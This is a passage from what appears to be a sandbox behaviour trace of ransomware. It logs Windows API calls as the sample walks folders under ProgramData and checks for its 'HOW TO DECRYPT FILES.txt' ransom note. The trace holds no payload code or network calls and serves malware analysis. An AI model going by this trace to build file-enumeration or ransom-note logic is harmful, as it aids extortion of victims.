Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\how to decrypt files.txt")) returned 0x20 [0092.167] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpString2="scan_property.ico" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico" [0092.168] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f138d40, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f138d40, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c34f7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xf8c2, dwReserved0=0x5c007d, dwReserved1=0x4f0048, cFileName="scan_settings.ico", cAlternateFileName="")) returned 1 [0092.168] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.168] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="scan_settings.ico") returned -1 [0092.168] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="scan_settings.ico") returned -1 [0092.168] lstrcmpiA (lpString1="", lpString2="scan_settings.ico") returned -1 [0092.168] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico") returned="scan_property.ico" [0092.168] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" [0092.168] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="" [0092.168] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW TO DECRYPT FILES.txt" [0092.168] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\how to decrypt files.txt")) returned 0x20 [0092.168] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpString2="scan_settings.ico" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico" [0092.168] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f054512, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f054512, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7d3f90d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x5c007d, dwReserved1=0x4f0048, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0092.168] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.168] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="tasks.xml") returned -1 [0092.168] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="tasks.xml") returned -1 [0092.168] lstrcmpiA (lpString1="", lpString2="tasks.xml") returned -1 [0092.168] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico") returned="scan_settings.ico" [0092.169] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" [0092.169] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="" [0092.169] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW TO DECRYPT FILES.txt" [0092.169] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\how to decrypt files.txt")) returned 0x20 [0092.169] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpString2="tasks.xml" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" [0092.169] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f054512, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f054512, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7d3f90d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x5c007d, dwReserved1=0x4f0048, cFileName="tasks.xml", cAlternateFileName="")) returned 0 [0092.169] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0092.169] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfff8afa0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff8afa0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 0 [0092.169] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0092.169] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650044, dwReserved1=0x690076, cFileName="Task", cAlternateFileName="")) returned 0 [0092.170] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0092.170] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650044, dwReserved1=0x690076, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0092.170] lstrcmpA (lpString1=".", lpString2="DeviceSync") returned -1 [0092.170] lstrcmpA (lpString1="..", lpString2="DeviceSync") returned -1 [0092.170] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\*.*") returned="*.*" [0092.170] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\", lpString2="DeviceSync" | out: lpString1="C:\\Users\\All Users\\Microsoft\\DeviceSync") returned="C:\\Users\\All Users\\Microsoft\\DeviceSync" [0092.170] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610054, dwReserved1=0x6b0073, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.171] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.171] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x6b0000, cFileName="..", cAlternateFileName="")) returned 1 [0092.171] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.171] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.171] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x6b0000, cFileName="..", cAlternateFileName="")) returned 0 [0092.171] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0092.171] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650044, dwReserved1=0x690076, cFileName="DRM", cAlternateFileName="")) returned 1 [0092.171] lstrcmpA (lpString1=".", lpString2="DRM") returned -1 [0092.171] lstrcmpA (lpString1="..", lpString2="DRM") returned -1 [0092.171] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\*.*") returned="*.*" [0092.171] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\", lpString2="DRM" | out: lpString1="C:\\Users\\All Users\\Microsoft\\DRM") returned="C:\\Users\\All Users\\Microsoft\\DRM" [0092.171] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.172] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.172] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.172] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.172] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.172] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1 [0092.172] lstrcmpA (lpString1=".", lpString2="Server") returned -1 [0092.172] lstrcmpA (lpString1="..", lpString2="Server") returned -1 [0092.172] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\DRM\\*.*") returned="*.*" [0092.172] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\DRM\\", lpString2="Server" | out: lpString1="C:\\Users\\All Users\\Microsoft\\DRM\\Server") returned="C:\\Users\\All Users\\Microsoft\\DRM\\Server" [0092.172] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.173] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.173] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.173] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.173] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.173] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.173] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0092.173] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0 [0092.173] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0092.173] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520044, dwReserved1=0x4d, cFileName="eHome", cAlternateFileName="")) returned 1 [0092.173] lstrcmpA (lpString1=".", lpString2="eHome") returned -1 [0092.173] lstrcmpA (lpString1="..", lpString2="eHome") returned -1 [0092.174] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\*.*") returned="*.*" [0092.174] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\", lpString2="eHome" | out: lpString1="C:\\Users\\All Users\\Microsoft\\eHome") returned="C:\\Users\\All Users\\Microsoft\\eHome" [0092.174] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650053, dwReserved1=0x760072, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.174] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.174] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x760000, cFileName="..", cAlternateFileName="")) returned 1 [0092.174] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.174] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.174] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1 [0092.174] lstrcmpA (lpString1=".", lpString2="logs") returned -1 [0092.174] lstrcmpA (lpString1="..", lpString2="logs") returned -1 [0092.175] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\eHome\\*.*") returned="*.*" [0092.175] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\eHome\\", lpString2="logs" | out: lpString1="C:\\Users\\All Users\\Microsoft\\eHome\\logs") returned="C:\\Users\\All Users\\Microsoft\\eHome\\logs" [0092.175] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.175] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.175] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.175] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.175] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.175] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.175] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0092.176] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0 [0092.176] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0092.176] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x480065, dwReserved1=0x6d006f, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0092.176] lstrcmpA (lpString1=".", lpString2="Event Viewer") returned -1 [0092.176] lstrcmpA (lpString1="..", lpString2="Event Viewer") returned -1 [0092.176] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\*.*") returned="*.*" [0092.176] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\", lpString2="Event Viewer" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Event Viewer") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer" [0092.176] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f006c, dwReserved1=0x730067, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.177] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.177] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x730000, cFileName="..", cAlternateFileName="")) returned 1 [0092.177] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.177] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.177] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, 